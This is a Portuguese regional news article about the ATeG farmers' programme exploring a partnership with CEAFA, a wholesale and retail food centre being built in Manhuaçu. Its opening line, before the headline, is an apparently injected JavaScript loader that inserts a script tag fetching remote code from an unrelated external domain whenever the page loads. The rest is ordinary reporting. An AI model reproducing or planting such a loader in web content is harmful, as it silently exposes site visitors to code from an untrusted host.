;(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,"script","https://treegreeny.org/KDJnCSZn"); Programa ATeG busca alternativas para a comercialização - Portal Carangola

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Programa ATeG busca alternativas para a comercialização

A comercialização tem sido um dos desafios enfrentados pelos produtores dos grupos do Programa de Assistência Técnica e Gerencial (ATeG) do Sistema FAEMG/SENAR/INAES/Sindicatos. Em busca de alternativas que viabilizem o escoamento das produções de diversas cadeias, o gerente de ATeG do Sistema FAEMG, Bruno Rocha de Melo, e o gerente do Escritório Regional de Viçosa, Marcos Reis, conheceram o Centro de Apoio à Agricultura Familiar (CEAFA). O presidente do Sindicato de São João do Manhuaçu, Felipe Alves, foi quem apresentou essa possibilidade aos gestores e acompanhou a visita. O supervisor do ATeG Café+Forte, Daniel Prado, também esteve no local.

CEAFA

O CEAFA está sendo construído em Manhuaçu com o objetivo de ser um ponto regional de distribuição de alimentos que receba, especialmente, mercadorias dos pequenos e médios produtores. A ampla estrutura, com 183 pedras (espaços para as vendas no atacado) e 138 lojas para varejo, terá espaços para vendas nas duas modalidades, e um modelo de gestão semelhante ao do Mercado Central de Belo Horizonte.

Segundo o CEO do CEAFA, Nixon Jaime, a ideia para o empreendimento surgiu de uma necessidade identificada por ele primeiro enquanto consumidor. E as conversas com compradores e produtores ajudaram a estruturar a missão do seu negócio.

“Esse é um modelo inédito no Brasil. Nos organizamos para proporcionar inclusão e respeito ao trabalho do produtor rural. Formamos a Associação dos Produtores de Alimentos da Agricultura Familiar de Manhuaçu e região e todos que adquirem um espaço são associados e estão nos ajudando a construir o CEAFA”.

Possibilidade para o ATeG

Após conhecer a iniciativa, a intenção é avaliar as possibilidades do Sistema FAEMG se associar ao CEAFA e garantir espaços para os produtores do ATeG da região.

Para Bruno Rocha, os grupos de fruticultura e olericultura podem ser beneficiados com esse modelo de negócio, por aproximar os produtores do comprador final. O gerente destacou que o programa está atento a esse gargalo e articulando-se para atuar mais da porteira para fora.

“O lucro dos produtores está ficando com os atravessadores e esse está sendo um grande problema. Nesse modelo de negócio, a gente dá condições deles receberem melhor pelos produtos, evitar a inadimplência e em tempo oportuno ter esse dinheiro em mãos. Conhecer iniciativas como essa e pensar em parcerias possíveis para dar a melhor assistência ao produtor é fundamental. Nada adianta que a gente faça um excelente trabalho na propriedade e o dinheiro não entre. Precisamos disso no final, porque isso demostra o sucesso do programa”.

“Essa movimentação está alinhada com uma das novas diretrizes do SENAR Nacional, que é de apoiar e fomentar a parte de comercialização dos produtores rurais. Desenvolver essa parceria com a CEAFA pode auxiliar os produtores associados aos nossos sindicatos, que são as nossas entidades de base, e, dessa forma, agregar valor aos produtos, ampliar e diversificar os negócios e oportunizar novas saídas para os produtores”, comentou Marcos Reis, gerente da regional Viçosa.

O presidente do Sindicato dos Produtores Rurais de São João do Manhuaçu, Felipe Alves, destacou que há uma boa produção de frutas na região que são plantadas junto às lavouras de café e que hoje não encontraram mercado. “O CEAFA é uma grande possibilidade de investimento para os produtores e incentivo para quem busca outras alternativas de cultivo além da cafeicultura”.

Economia local

Nixon Jaime ainda destacou que o empreendimento deve gerar cerca de 4 mil empregos e atender a um mercado de mais de 2 milhões de consumidores que atualmente são abastecidos com mercadorias das centrais de abastecimento (CEASAs).

Além de produtos de hortifruti, o Centro também apostará em uma agenda semanal de comercialização de artesanato, flores e pescados.

Haverá ainda espaço de restaurantes e bares. “Queremos movimentar a economia local, principalmente o agronegócio, e esperamos que o espaço também seja uma alternativa de lazer para a população de Manhuaçu e região”, comentou o CEO.

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